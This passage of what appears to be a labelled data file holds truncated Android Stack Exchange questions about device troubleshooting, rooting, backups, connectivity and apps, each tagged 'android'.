tablet for Christmas and only had it for 2 weeks. I wanted to set the security on facelock, so I didn't have to remember the password. Instead, I set it to ... ",['android'] "Title: Lost my android tablet, how can I find it without a network connection? Body: I lost my tablet today. It's fully charged but it has no WiFi connection on. Is there any way I can find it without any connected network? ",['android'] "Title: Can I have different volumes settings for notifications and ringtones with Nexus 4/Android 4.2? Body: My old Gingerbread phone would let me have a low volume for notifications while having a high volume for ringtones (very useful at night). My new Nexus 4 seems to have these volume settings tied ... ",['android'] "Title: How to connect using WPA2-Enterprise on Android Devices? Body: I am doing some product development for BYOD environment, so I require a wide variety of devices. This one is causing me some issues with connectivity to the private network where I have to test. ... ",['android'] "Title: Is it possible to install two instances of a same app? [duplicate] Body: Possible Duplicate: Is it possible to have multiple instances of the same app (logged in to different accounts)? I have a dual-sim Android device, an Alcatel Onetouch. As it has two SIM ... ",['android'] "Title: Galaxy Ace Duos S6802 jelly bean support [duplicate] Body: Possible Duplicate: When will my device get the Android 4.1 update (Jelly Bean)? Is Android 4.1.X support available on Galaxy Ace Duos S6802? Can the device be successfully upgraded to ... ",['android'] "Title: Why are there two settings apps, Settings and Settings Storage Body: On my Galaxy Nexus running 4.2.1, I see two Settings apps in Settings > Apps. One is name Settings (28KB) and the other is Settings Storage (520KB). Both have the version 4.2.1-533553. Is the storage ... ",['android'] "Title: application cannot be installed in the default install location? Body: I have an Android Galaxy S1, and have been getting the error ""application cannot be installed in the default install location"". I am aware that this is a common issue. So I Googled it, and almost ... ",['android'] "Title: 4.0.3 emulator has Internet connectivity, but can't ping other hosts Body: My situation is strange. I can open any website, like google.com, in my emulator's web browser. However, when I use adb shell to connect to my emulator and try to ping any other IP or website, it ... ",['android'] "Title: Need fonts of a different language to show up on android or atleast Instapaper Body: My family is residing in USA and we are from India. Now my mom gets super bored at home! And loves to read the regional online newspaper and magazines from India on the Internet; problem is she ... ",['android'] "Title: why does my android show -67 on my email icon? Body: On the home screen, my Samsung Galaxy, it shows -67 over the email icon. What is this indicating and more importantly, how can I get rid of it? ",['android'] "Title: Is there an alarm clock app with a large screen keypad to enter times? [closed] Body: I am searching for an alarm clock app which uses the 10 digit keypad (phone dialer keypad) to set alarm times. I've been using the pre-installed alarm clock app, and I hate having the standard text ... ",['android'] "Title: What's the difference between the galaxys2 and i9100 CyanogenMod builds? Body: I own a Galaxy S 2 GT-I9100 so I'm somewhat confused what the correct build is for my phone. The situation is particularly confusing since I want to try out CyanogenMod 10, which isn't listed in the ... ",['android'] "Title: Samsung Galaxy S2 Exchange ActiveSync - Two Inbox with sub folders Body: I have set up two different Exchange ActiveSync mailbox on my phone. Both of the mailboxes have sub folders in Inbox. The problem is that I can only expand and sync the sub folders in the mailbox I ... ",['android'] "Title: Android Ad-Hoc Wi-Fi support [duplicate] Body: Possible Duplicate: Does any version of Android support ad-hoc connections? Which versions of Android do support Ad-Hoc (peer-to-peer) Wi-Fi? Or neither? Where to read about it? May be some ... ",['android'] "Title: How do I root my Nook HD? Body: I checked The Master List of Rooting Techniques, and found nothing. This XDA thread looked promising. ",['android'] "Title: Bad experience with cheap Cortex A9 tablet: is this normal? [closed] Body: A friend recently bought a Blusens Touch 96 tablet as a Christmas present for her father. The specs are here. Short version: 9.7 inches, Android 4.1, Cortex A9 processor, 1 Gb. RAM. Anyway, the ... ",['android'] "Title: Will playing a game in a Android phone while charging damage or cause harm to the battery or the phone? Body: Will the following situation damage or cause any harm to the battery or/and the phone: The phone is being charging (regardless it is using the electrical outlet or via USB) and .. You are playing a ... ",['android'] "Title: Is it possible to connect a Android phone display to a TV or PC Monitor? Body: Is it possible to make the display on a Android phone to a TV or a PC Monitor? What are the methods that I can connect the Android phone to a TV (e.g. plasma TV) or a PC Monitor and then modify some ... ",['android'] "Title: Shark for Root not working Body: I am pretty much new to the packet sniffing. I found some application for the same Shark for root. I have rooted my phone for the application and I tried logging the packets being transferred from my ... ",['android'] "Title: What is JTAG in regards to Android? Body: I see the term JTAG used for reviving dead Android devices that otherwise don't respond to anything and aren't seen when USB connected. It seems that it's something done from the physical hardware ... ",['android'] "Title: wpa_supplicant and driver nl80211 Body: I have tablet axpad 7i02. It contains android 4.0.4. I lost original wpa_supplicant file from it. Now I can't turn on wifi . I tried number of ""wpa_supplicant"" files but no one supports nl80211 ... ",['android'] "Title: Recovery mode can't read fat32 sd card, only exfat Body: I'm running CM 10.1 (based on Android 4.2.1) on a Galaxy S III i9300. I'running CWM-based recovery v 5.5.0.4. I'm dealing with a conflict with my Sandisk microsd 32 gb card. When I format my sdcard ... ",['android'] "Title: Nexus i9250 constantly reboots, freezes, etc Body: I bought a Nexus a couple of months ago, and sometimes it restarts when I am on a call. Other times when I am on a call, it freezes, and restarts or unfreezes after a minute. The phone is not ... ",['android'] "Title: A Music listening app that lets me delete song from it's interface [closed] Body: So, is there any app that lets me do that? I generally copy full folders which I take from my friends so there are many crappy songs that come to my playlist too. I really need a way to delete the ... ",['android'] "Title: How to use Tasker to kill apps on/after device boot? Body: I have several apps auto start at boot, and it's really not necessary. So I'm trying to use Tasker to kill them on/after device boot. Tasker has a ""Event - Device Boot"" option, but it seems that does ... ",['android'] "Title: How to transfer data of jetpack joyride from one phone to another? Body: I have played Jetpack Joyride for a while now, and I have a lot of missions completed, along with money, gadgets, etc unlocked. My Droid Razr recently broke, and Verizon sent me a new one. I want to ... ",['android'] "Title: Windows 8 driver error with SGS Body: Got a new computer with Windows 8 64 bit, In the last day, I tried to connect my Samsung Galaxy S (GT-I9000) but get a driver error when I plug it in. I tried looking in the Samsung's web site forums, ... ",['android'] "Title: Contact Organizer Body: I just bought an android phone a few days ago, and I love it. There are a few things that bother me, but most of the time I find that there is a better way to manage things. What bothers me the most ... ",['android'] "Title: What is the difference between USB Mass Storage and USB Debug mode? Body: I am familiar with USB Mass Storage mode . How exactly is USB Debug mode different from it ? ",['android'] "Title: How can I make it so that any user can chmod in my fuse-mounted ext4-formatted /sdcard? Body: I have an ASUS Transformer Pad TF101. I finally got round to rooting it just now. Important: /sdcard is not FAT32. It's a fuse filesystem based in ext4. So it is capable of using chmod. So that I ... ",['android'] "Title: What is FxStreamingTexture and why does it fill up my logcat? Body: My locgat is full of such lines: 01-05 10:46:40.939: D/FxStreamingTexture(3948): BasicFuture_get return m_value = android.graphics.Bitmap@4074d6b8 How can I get rid of them? ",['android'] "Title: Quick NOTETAKING with Android Body: I often resort to pen and paper for quick notes like telephone-numbers, because I feel using my phone will take to long. Are there any apps for android that will let me be just as quick (freehand), ... ",['android'] "Title: Prevent services from automatically starting when opening phone [duplicate] Body: Possible Duplicate: How can I stop applications and services from running? I have installed the Yahoo Messenger and Facebook apps. Each time I restart my phone, those apps automatically run ... ",['android'] "Title: Bluestacks touch Emulation Body: Is there a way to ""bind"" onscreen touches to a keyboard/ game controller? The same way sixaxis controller allows Bluetooth controllers to use touch emulation. Either within bluestacks or windows. ",['android'] "Title: Read product reviews and find better alternatives by scanning barcode Body: Is there a way to read product reviews and find alternative products/suggestions by scanning a barcode with my Galaxy Nexus? I found searchreviews, but it was not so good. If not, are there any web ... ",['android'] "Title: How to understand failure cause from Android system recovery? Body: My phone stopped working(it freezes on Samsung logo when restarting) one day. I'm tring to figure out possible cause using Android system recovery. That what I see MBR checksum Error Moviinand ... ",['android'] "Title: Remove Device from Market Account? Body: Hear me out. I know that this has been asked before, but I am hoping that there might be a workaround or some new information. My boyfriend has a [Phone X] that has been sent in for replacement ... ",['android'] "Title: Unrooting by simply uninstalling the superuser app from the market? Body: Is it possible to safely and properly un-root a device by Uninstalling the ""Superuser"" app from the Google Play Store? ",['android'] "Title: What is the origin and purpose of RS_##.log files? Body: On my Galaxy S3 (I747, rooted stock ROM, 4.1.1 jellybean), there are a number (currently 66) of files in /data with names following the format RS_##.log, where ## is a 1 or 2 digit number, currently ... ",['android'] "Title: on startup play & loop video Body: I have a iStick from PQ Lab with Android 4.0.4 I have a problem about how to play & loop video on startup for a very long time. I am looking for one that will start playing the video as soon as ... ",['android'] "Title: What's the security implication of having an unlocked boot loader? Body: Nexus devices can be unlocked using the fastboot command fastboot oem unlock to install a custom firmware. For security reasons, the phone is wiped when this command is executed. However after this is ... ",['android'] "Title: 0 ram free on ICS Body: I'm new to the ICS os, coming from Gingerbread from another phone. The phone's quite nice and fast when I first used it, but just this morning it started exhibiting weird actions. Camera360 doesn't ... ",['android'] "Title: Is it possible to filter Google Play search results by permission? [duplicate] Body: Possible Duplicate: How to search the Play Store by permissions? I would like to exclude apps that require permissions I find too intrusive from Google Play search results like network ... ",['android'] "Title: portable Wi-Fi hotspot configuraiton Body: How it is possible to enable portable Wi-Fi hotspot from ADB shell or by editing some configuration files on Android Jelly Bean? I need to do it interactive for automatic test server ",['android'] "Title: Desire HD sound cuts mid call Body: When I call anyone or they ring me, the sound I hear from them goes dead for random length of time, then returns only to go quiet again later. They can always hear me. I have tried my SIM card in ... ",['android'] "Title: Does Android have a formal release cycle? Body: I have been tasked with documenting Google/Android's release plan so that our company has a policy of advanced testing our software on new mobile operating systems. It seems like Apple/iOS has a ... ",['android'] "Title: SGS running CyanogenMod 10 headphone volume cap Body: Is there a way to increase the max volume cap for SGS running CM10, please? Thank you. ",['android'] "Title: How to solve “application not be installed” error Body: I am facing an application can not be installed error on my Samsaung Galaxy S Plus whenever I try to install applications. I have already allowed installation from unknown sources, but it didn't work. ... ",['android'] "Title: Can you actually determine the mAh of a battery? Body: You can skip the story part but for better reference, please read it: A Little Story My phone claims it has a battery of 4000 mAh that lasts for 3 days. I got the phone, really psyched because of ... ",['android'] "Title: Problem after updating Galaxy S3 to Android 4.1.1 Body: After updating my Galaxy S3 to Android 4.1.1, I started to experience some problems. For instance, while listening music or 'surfing' in the phone, suddenly phone starts to 'nearly' freeze for a 1 ... ",['android'] "Title: “Low on space” message on an android tablet Body: I just got a Agptek 9"" tablet. It's running android 4.04, ICS with 8GB storage and 512MB of RAM. It generally runs great. After a few days the tablet is getting a ""low on space"" error message in ... ",['android'] "Title: Connectify doesn't work with Android Body: I use Connectify Hotspot Pro to create Wi-Fi network. However, my Android phone is unable to display this Wi-Fi hotspot at all. What do I need to do to make it work? ",['android'] "Title: Can I relight my hardware keyboard? Body: I have an HTC chacha with a hardware keyboard. A nighttime reading app turned off the keyboard light long ago, but I don't remember which of the hundreds available it was. Is there anything I can ... ",['android'] "Title: Does installing the clockworkmod recovery require rooting galaxy s2? Body: Does installing the clockworkmod recovery require you to root galaxy s2 gt-i9100? In the link here it seems the rooting is not required. However I have read that rooting is required for installing ... ",['android'] "Title: How to enable data connection when you are locked out of the phone [duplicate] Body: Possible Duplicate: Cannot unlock tablet as have no internet connection? Is there any way to enable data connection on a phone which is locked out? I disabled data connection on the phone. ... ",['android'] "Title: Reverting LG GT540 to its old interface Body: I just tried to install my LG GT540 with a KDZ file that I downloaded from a site, hoping that my problem with the Android Market would be fixed but nothing happened. My problem is that I can't ... ",['android'] "Title: Samsung Galaxy s2 not showing missed calls Body: My phone won't show any missed calls. I have a Sprint Samsung Galaxy S2. It was working earlier today. I called my phone 3 times because I was looking for it. But when I found it, it didn't show any ... ",['android'] "Title: How to root Samsung Galaxy Discover? Body: I just bought a Galaxy Discover. I can't figure out how to root it. All I could find was this xda-developers link; but, I get an error running mount, so the root doesn't complete successfully. How ... ",['android'] "Title: Empty SIM contacts list, but they still show up in contact details Body: I use solely Google contacts as my contacts repository and display only the Google ""My Contacts"" group in my contacts list. When looking at contacts details, most of them have in the ""connection"" ... ",['android'] "Title: Different methods of moving apps to SD card Body: There is a native method for moving apps to the SD card, by viewing the app info and pressing the ""move to SD card"" button. (I don't know on which Android version this was introduced). Not all apps ... ",['android'] "Title: Is it safe to install cyogenMod on my rooted, bricked , then unrooted Samsung Captivate Body: My Samsung captivate was running the latest version of Android available to it which is 2.3.5 Gingerbread. I rooted it by installing ClockworkMod Recovery, (flashing zImage using heimdall on ... ",['android'] "Title: Google apps settings deleted Body: I just deleted the Google apps settings by mistake (from Applications -> Google Apps -> clear data). So, my HTC Magic is not connecting to the Google server anymore. How can I input the dates ... ",['android'] "Title: How to install extensions on Android's stock browser? Body: I have JellyTime (R30 - https://code.google.com/p/jellytime/) installed on my HTC Desire HD phone which is running a variance of Jelly Bean 4.1.2. Is it possible to add some extensions/features to ... ",['android'] "Title: Running java servlets on android Body: I have written a couple of servlets in java and I want to be able to run them on the android platform. Is there any way of doing this? ",['android'] "Title: Restart camera service Body: I have a smartphone which the camera doesn't work very well with CyanogenMod. Sometimes (and very often), after taking some picture the camera stops working until I restart the phone. When I try ... ",['android'] "Title: App install failed but files are still filling up the phone Body: I installed the game N.O.V.A.3. When it was finished, I got an error message saying that the install failed. However, the 1.7GB that the game required are still missing from my phone. The app does not ... ",['android'] "Title: How to get rid of bogus “Phone storage full” message (cannot send SMSs) [duplicate] Body: Possible Duplicate: Why am I getting a “Low on Space” warning and having other weird problems? I tried to compose a new SMS (text message): I tapped ""New Message"" and I got this error ... ",['android'] "Title: What should I do before I try advanced troubleshooting Body: Are there any generic troubleshooting steps and tips to be followed before I search for problem specific troubleshooting options? Then what are they? I only have a general knowledge on android and ... ",['android'] "Title: How can I successfully run this script on a emulated terminal on Android? Body: Background I am trying to install Ubuntu onto my Acer Iconia A500 using VNC and this application called Complete Linux Installer. My tablet is rooted and I have found several sources saying they have ... ",['android'] "Title: Log for WiFi on Android Tablet Body: Is there a log that records WiFi connectivity events/issues? I keep getting disconnected when using my Nexus 10 tablet and other devices on the same network do not. ",['android'] "Title: What is the applypatch tool and how does one use it? Body: I recently stumbled upon the applypatch tool, but I couldn't find any documentation for it online. Here is the usage output (this is after typing adb shell) shell@android:/ $ applypatch --help ... ",['android'] "Title: Galaxy S with Cyanogenmod 10 (stable): File Manager needs root permission to access the external SD card Body: I have an SGS with CM10 installed. The file manager and Apollo, both of which come with CM10 by default, are having issues reading the SD card. File Manager needs SU permissions to see it. Apollo ... ",['android'] "Title: How to make Android phone as my wireless dialer, so that i can dial the phone and send / receive SSH, FTP etc? Body: How can i make the Android mobile phone number +3900000 as incoming dialing number from computer running Linux (ArchLinux, Fedora, CentOS, Ubuntu) using modem. Once the connection is made. How is it ... ",['android'] "Title: Change permission on file in /sys folder Body: I am trying to turn off the backlight on the soft keys (home, menu, back and search). My phone is a HTC Evo 3D running Ice Cream Sandwich. Before, I had Gingerbread installed and I could use ""Screen ... ",['android'] "Title: Is there way to install ICS on Galaxy Pocket? Body: I have Samsung Galaxy Pocket - GT-S5300. Is there a way to install ICS and it will work properly? Will overclock be needed? If so, how to do so? ",['android'] "Title: Apps can't connect to internet [duplicate] Body: I have a connection problem with any app on Android 2.3.5. I can access the internet with the stock browser but any other app with full network permissions isn't able to connect to the internet. My ... ",['android'] "Title: How can I view only one task list in Jorte? Body: Suppose I'm at the store, and all I want to view is my ""Stuff to Buy at the Store"" list in Jorte. How can I view only that list instead of all the tasks on any list? ",['android'] "Title: How to go to a specific time of a video clip quickly in Youtube? Body: Since YouTube on my Android device has nowhere to input the URL, I cannot jump to a specific time to view it. How to do that easily? Dragging the player carrot is very hard to make a accurate jump ... ",['android'] "Title: Why don't my text-message conversations pile up? Body: I've recently installed a new version of my favorite rom ""Codec ROM"" in version 10.1, previously I was using v7.5, which was working like a charm. I have done a full wipe, and installed the version ... ",['android'] "Title: How can I get Facebook and Google contacts to sync in 4.2? Body: In the People app (i.e. Google Contacts), the ""Accounts"" area has an option for adding Facebook contacts, which I've checked. In Settings->Accounts->Facebook, I've checked ""Sync Contacts,"" yet ... ",['android'] "Title: Why Angry Birds App doesn't load / open? Body: I have a Prestigio Multipad PMP3370B and for some reason I can not play the Angry Birds app on it. I have downloaded the app from the Google Play Store but when I try to play it the screen goes blank ... ",['android'] "Title: Is Android a 32-bit or 64-bit OS? Body: The title is pretty much self-explanatory: is Android a 32- or 64- bit OS? I assume that it is one or another and not both, as that would force both 32- and 64-bit binaries to be hosted on Google ... ",['android'] "Title: Application backup/restore - for saving resources Body: I was thinking I could completely backup apps to the SD card, and then restore them when needed. This for saving system resources. Is there some efficient way to do this? ",['android'] "Title: How to 'record' a trip - places I visited? Body: I am going for a trip for 3 weeks and I want to record all the places I visited using my Android mobile. I most likely I won't have data connectivity - only GPS. If I don't find anything else I will ... ",['android'] "Title: Does the Bluetooth/Google Now “Initializing” bug exist on Razr Maxx HD? Body: There is a pretty severe, widespread Android Jellybean bug that causes Google Now voice search to not work over bluetooth audio (it gets stuck saying ""Initializing""). I've personally dealt with this ... ",['android'] "Title: Samsung Galaxy S having internal sd card problems Body: I have Samsung Galaxy SLCD having android 2.2.1 which is around one and half year old. Around one month back my it started showing message in notification bar 'internal sd card removed unexpectedly' ... ",['android'] "Title: Samsung Captivate not booting after root Body: I recently installed Clockwork Recovery, and used that to install CyanogenMod 10 on my Captivate using this guide. Every thing worked perfectly. I backed up the stock ROM. Then I realized that my ... ",['android'] "Title: How to block SMSs from certain “named” senders? Body: There are many tools around to block unwanted SMSs. Samsung Galaxy S3's Jelly Bean offers a native call&sms blocker too. But some senders are not phone numbers, they are alphanumeric strings. I ... ",['android'] "Title: Do widgets run if not on current home screen? Body: I have the EA daily deals widget installed on my second home screen. The widget is basically a rotating banner of deals in the Play store. Since it is constantly rotating the displayed banner I assume ... ",['android'] "Title: What is “Detach from Market”? What does it do? Body: What is ""Detach from Market"" in Titanium Backup? What does it do? ",['android'] "Title: How does Titanium Backup work? When will it not work? Body: How does it know what to back up? Can an app have data that TB won't know about or that TB won't back up? Other than restoring a Jellybean backup to a Gingerbread phone, how else will Titanium Backup ... ",['android'] "Title: Getting internet for Galaxy Tab 2 from Galaxy S3 Body: Is there a way to use the Galaxy Tab 2 with my Galaxy S3 (SPRINT) to get an internet connection? ",['android'] "Title: Android Media Player Achieva Astone A100 missing VPN Body: I just bought an Astone A100 which is also known as an Achieva A100. It's an Android media player with WiFi, HDMI, and an Air Mouse. The ROM that comes with this device is based on Android 4.0.4. ... ",['android'] "Title: Unable to use SIM TOOL KIT on HTC Body: I have a dealer's card where I can Recharge for Customer using Sim tool kit. But when I inserted my Sim card in HTC, I am unable to use the SIM TOOL Facility and unable to recharge. I have to change ... ",['android'] "Title: Is it possible to handle cell phone calls through a Samsung Galaxy Player? Body: I currently have a Samsung Galaxy Player 4.2 running Android 2.3.5 Gingerbread. I was wondering if there was anyway to sync my cell phone to it via Bluetooth and then handle all of my calls and texts ... ",['android'] "Title: How to have unused apps not take up resources Body: Is there a way I can have unused apps not take up resources? Especially Internal memory and other resources not on Sd card. I am already using Link2SD to move what I can to SD. I know you can back ... ",['android'] "Title: Clockworkmod Backup/Restore Feature Body: So last week, I decided to flash a custom ROM to my 2 year old Desire HD. I used the all in one, one-step, ""rooting"" tool called AAHK (It doesn't just root the phone, it does a whole lot like S-OFF, ... ",['android'] "Title: Apps force close on a Galaxy Ace GT-S5830i Body: Every app I use needs to be forced closed after less than 5 minutes. Even apps I haven't even opened [before]. I've turned off my phone and restarted it multiple times and nothing seems to work. Does ... ",['android'] "Title: CM9 skips to the next song, even on short presses Body: I have a Motorola Defy (MB525), running Android ICS (4.0.4), CyanogenMod 9-20121116-NIGHTLY-jordan, and the option to skip to the next / previous songs on a long press of the volume buttons is active. ... ",['android'] "Title: How to send a text to multiple recipients with personalised details filled in from their contact information? Body: Is they a way to send a text message to multiple recipients but include details taken from their contact card and have them automatically inserted into the text when it's sent? Something like the ... ",['android'] "Title: Trouble with SD card in Prestigio Multipad PMP3370B Body: I've recently been given a Prestigio Multipad PMP3370B (Android 4.0) which I thought would be nice for my daughter to watch videos on. I took an 8GB micro SDHC card from my Windows 7 laptop (NTFS ... ",['android'] "Title: Lock screen shown when notification selected Body: I am starting to get some strange behaviour with my Nexus 4 running the latest JB os. I get a notification such as an email or sms, so I unlock the screen before dragging the notification bar down and ... ",['android'] "Title: Install an app on android without SD card Body: How can one install an app on an android with no SD card? I tried doing so with dropbox but I was unable to download the file. I'm thinking astro file manager might let me but I've been unable to ... ",['android'] "Title: USB Debugging turned off at reboot Body: I have a rooted Android tablet running 4.0.1. Ever since I got it, the USB Debugging option doesn't stick after a reboot. This can be quite problematic, so how do I stop this, and make USB Debugging ... ",['android'] "Title: Remap search key to power button on Android 2.3 Body: I have a Nexus S, and Button Remapper that I see suggested is not working on 2.3 gingerbread for remapping the search/assist button as a power button (because Nexus S power button is known to be ... ",['android'] "Title: Samsung Galaxy Y(GT-S5360) Stuck after unsuccesfull firmware update using kies Body: Today I tried updating my Samsung Galaxy Y using Kies. While updating, my PC rebooted. When I turned on my phone, it said that firmware upgrade failed and that I should connect it to Kies and run ... ",['android'] "Title: WiFi Hotspot Security? Body: Is there any way to add extra security to a WiFi hotspot created by an Android phone? I am using a Samsung GT-S5300 with Android 2.3.6, and I am using the WiFi hotspot feature at home since Telkom ... ",['android'] "Title: Connecting Galaxy S2 ICS to Kies Body: I tried connecting my Samsung Galaxy SII(ICS) to Samsung Kies 2.0.2 through USB. But whenever i connect the cable, Kies asks me to switch the phone to Kies Studio mode. But I could not find this mode ... ",['android'] "Title: Control Android TV with Android Phone Body: I have a new tv that has Android 4.0.3 installed. I would like to control the Android system on the TV from my Android based phone. I have tried the following applications. XBMC - Has a great remote ... ",['android'] "Title: How do I set my contact picture for text messaging with my Huawei Fusion? Body: I have a Huawei Fusion and I have been trying to find out how to change the grey Android picture into my own personal one. I have had no luck finding out how to on the internet. Help would be greatly ... ",['android'] "Title: How can I mute the camera shutter on Motorola RAZR i (ICS, without rooting) Body: Even when I silence the device the camera shutter continues to making sound. I know that using rooting alternative we can move or delete the correspondent ogg file*. But i'm looking for a less ... ",['android'] "Title: How can I recover deleted calendar events? Body: I had duplicate events from syncing so I deleted what I thought were the correct set but it turns out I deleted the ones from my Outlook calendar which in turn deleted them from my Outlook calendar ... ",['android'] "Title: Pros and cons of various in-car hands-free solutions [closed] Body: What would be pros and cons of headsets versus speaker phones for in-car hands-free phone operation? Are there other solutions as well? Are features such as reading and dictating text-messages come ... ",['android'] "Title: 3G/Wi-Fi Vs Wi-Fi Only Enabled Android Tablets: Pros & Cons to the Consumer? Body: Having never owned an Android Tablet I am thinking of purchasing one at some point during 2013. From what I gather in terms of connectivity, they either come as: Wi-Fi Only 3G & Wi-Fi Is it ... ",['android'] "Title: Frequent, unexplainable “Download unsuccessful” using stock browser on Droid 3 Body: I have been experiencing this frustrating issue with my phone where it might take several attempts to download a file through the stock browser. An example would be how it took 5 attempts to download ... ",['android'] "Title: Is there a way to log off from your Android 4.2 tablet user account? Body: One of the nice features introduced in Android 4.2 Jelly Bean on tablet devices is the ability to create user accounts just like you do on desktop operating systems. However, as far as I can see, ... ",['android'] "Title: Server Password changed for email on s3, unable to sign in, connection error Body: My email worked fine on Galaxy S 3 for 3 weeks, but all of a sudden I receive a message saying ""Server Password changed, sign in failed connection error"". I have changed nothing and was still ... ",['android'] "Title: Aside from the usability improvement, does rebooting the phone as opposed to shuting down and turning on give any improvement? Body: Is it faster to reboot the phone instead of turning it off and on again? I know in computers when restart is selected the power supply is left on and it doesn't have to perform POST so time is saved ... ",['android'] "Title: How to back up applications in Android? [duplicate] Body: Possible Duplicate: How to backup an Android device? If I have installed N number of applications including big games, and I would like to back up them, so I could restore the games as soon ... ",['android'] "Title: How to get notified of new automatically archived emails in Gmail? Body: I am a very organized person, and thus also in the case of my emails. I have taken the time to set various filters and labels to keep my emails organized, some of these filters automatically archive ... ",['android'] "Title: Does the google play store not provide updates for frozen apps? [duplicate] Body: Possible Duplicate: Is there any other way to get updates to frozen apps? I freeze problematic apps in hope of waiting for a better update. When frozen, the apps once did update like ... ",['android'] "Title: First time with Android, need help with adding media Body: For Christmas this year I am getting a 16GB (really 10.6 GB) Galaxy Note II, which will be my first Android device after having a slew of iDevices. I have ~12 GB of music in iTunes and Google Music, ... ",['android'] "Title: Use android 2.3 as a wireless Mass Storage middle man Body: Context: I would like to use an old phone as a USB Mass storage device/slave, but read/writes to a Network share. So I can attach it to the Kitchen TV and direct it to a windows/linux directory. ... ",['android'] "Title: My Samsung Galaxy S2 is constantly shutting down Body: Recently, whenever I am using an app or doing something on my phone other than texting or reading, my phone will up and shut off on me. When I try to reboot sometimes it will get all the way back to ... ",['android'] "Title: Sony Reader PRS-T1 becomes unresponsive Body: My Sony Reader PRS-T1 based on Android 2.2 is acting funny. I had rooted it in the past but is now in the ""original"" state, upgraded with the latest official firmware. The problem is that many ... ",['android'] "Title: What is the difference between unmanaged vs managed in-app product? [closed] Body: What is the difference between a ""managed in-app product"" and an in-app product that is not managed? ",['android'] "Title: How can I monitor and log data connection mode and rate, and log with location? Body: I would like to understand what connection type and theoretical data rate my phone is using for its data connection, and how it changes with different locations. I'm not looking for an actual data ... ",['android'] "Title: WiFi HT40 Android device sync missing Body: I am using Samsung Galaxy S III and Galaxy Note II, and both I have noticed in specifications are ""WiFi HT40: supported"". My problem is, that when I have mobile data active and connect to Wi-Fi, and ... ",['android'] "Title: Does the Google Play app always updates automatically? Body: I use Android 4.0.4 (Cyanogenmod) and I have the habit of disabling automatic updates for all my apps. I have noticed the Google Play app seems to update itself automatically -- when there are updates ... ",['android'] "Title: Rooting a Wynncom G1 Android Phone [ Spreadtrum SP8810 ] Body: I have a new Indian Android variant i.e Wynncom g1 [ spreadtrum sp8810 ] I have gotten ADB to work with PDANet application and got USB drivers and adb to work. I tried many ways like adb root and all, ... ",['android'] "Title: Samsung Galaxy Ace GT-S5830 neither goes into Download Mode nor RAM Dump Mode Body: My Samsung Galaxy Ace GT-S5830 has just “hung” during the start-up screen with the white text “Samsung www.samsung.com"" on a black background. I have tried to restart it and to take the battery out / ... ",['android'] "Title: How to mark messages from Field Trip as read? Body: Maybe it's just me, but how does one mark messages as being read in Field Trip? I was using it today and they same landmark popped up multiple times through out the day. I can't seem to find a way ... ",['android'] "Title: Schedule Auto Shutdown on Android Body: I have a Samsung Galaxy S3 and was wondering if it's possible (like on Blackberry) to setup a schedule for automatic device shutdown. For example, on my previous phone, I could indicate for the phone ... ",['android'] "Title: Problem rooting kindle with 6.3.1 Body: I'm rooting a kindle fire for a friend, I installed the driver through the SDK manager and ran KFU, but now that KFU has rebooted the kindle, it is stuck at the bootscreen. Any help? ",['android'] "Title: Lock screen stuck in landscape mode on Galaxy Tab 10.1 Body: I rooted and upgraded my Galaxy Tab 10.1 to Jelly Bean 4.1.2. One mild annoyance is that the pattern lock screen is stuck in landscape mode. I can't find any option to rotate it to portrait mode. ... ",['android'] "Title: How to create a newline on keyboard Body: I would like to know how to create a newline on the current android keyboard (for example in a sms). And if it could be entered - would it be displayed? Edit: If you've got Android 4.1. It is just ... ",['android'] "Title: I lost my Android smartphone. Play Store tells me that someone has inserted a SIM card. How can I find out the phone number? Body: I lost my Samsung Galaxy S, which was signed into Google Play. Now, Play Store has identified that someone has inserted another SIM card with a different service provider. Is there anyway I can find ... ",['android'] "Title: can't open recovery menu after installing recovery clockworkmod 5.0.2.6 galaxy ace fix Body: I have installed clockworkmod-5.0.2.6-galacyace-fix.zip on Samsung galaxy ace s5830. When I had rebooted it and pressed Home+Power button, it is not showing me a recovery menu. When I press ... ",['android'] "Title: Hide contacts with only email address Body: When clicking on Phone -> Logs, I have hundreds of contacts presumably from Gmail. Is there a way to hide all google contacts, and only show ones I've manually entered (SIM or other storage)? I'd ... ",['android'] "Title: Samsung Galaxy Tab frozen on update via Kies and no longer working Body: I connected my Samsung galaxy tab and was updating it using the Kies software. It then got onto a section about emergency recovery. I selected the device and then nothing really happened. So I went ... ",['android'] "Title: What are the Android 4.0.x Ice Cream Sandwich Easter Eggs? Body: I heard that there are some Easter eggs hidden in ice cream sandwich version. How can I view the Easter eggs hidden in my android device and how can I view them? I'm using Android 4 ICS. ",['android'] "Title: Samsung Galaxy Note will not Turn On after Android 4.1.1 Upgrade Body: I have downloaded Jelly Bean 4.1.1 for my Galaxy Note N7000. While updating through the phone, it shut down and now it is not working.I cannot turn it on. The battery was about 40%. I guess it is ... ",['android'] "Title: Is it “safe” to provide users with the apk file? Body: I was wondering, if I have an app that is available on the Play Store, is it ""safe"" to provide a direct download of the apk file to someone (either signed with the proper keys, or just debug-version)? ... ",['android'] "Title: Other apps to manage permissions? Body: I used to use - and loved - LBE Privacy Guard which allowed you to revoke specific permissions from specific apps. Ever since AT&T finally pushed out Jelly Bean for the S3 though, it no longer ... ",['android'] "Title: Can't take screenshots on a rooted device Body: I can't take screenshots on my rooted Android 4.0.3 tablet. It's a Genesis GT-1230 running some modified ROM, and apparently the power + volume down combination is disabled. The screen is 10.1"", ... ",['android'] "Title: Can Android 4.03 send file/image batches? Body: I'm looking around on the play store for an app that would allow me to select a set of images to send via smail. Because there's a 3 mb limit per e-mail (probably imposed by my provider), I was ... ",['android'] "Title: Flashed my phone without rooting and now it doesn't work Body: I have an international Samsung Galaxy SIII i.e. GT-I9300. Few days after the official upgrade to v4.1, it started freezing. So I removed the battery and inserted again and it did not boot and was ... ",['android'] "Title: Get internet access via bluetooth [duplicate] Body: Possible Duplicate: Is Internet tethering possible on Android phone via bluetooth or WiFi? Tethering Galaxy Tab 2 7.0 (GT-P3110) via Nokia E71 In the era of PDA's most of them could ... ",['android'] "Title: Music volume turning off when headphones moved around Body: I have an LG Lucid with Android 2.3.6 and I have a big issue with my music. I'm not sure if this is an Android setting or a LG one, but I'm hoping to find a way for this to stop happening. I use my ... ",['android'] "Title: My device is getting slow, apps start misbehaving/crashing. What can I do? Body: Everything was working fine for a long time. But suddenly the device is getting slower than usual (e.g. apps react slowly when starting an action -- like the RSS reader takes ""ages"" to open an ... ",['android'] "Title: Free app to block calls and SMS based on pattern Body: I use Callblocker currently, but the unwanted calls come from different numbers each with the same first 5 digits. Is there a free Android app to block them based on this pattern? ",['android'] "Title: I want to remove 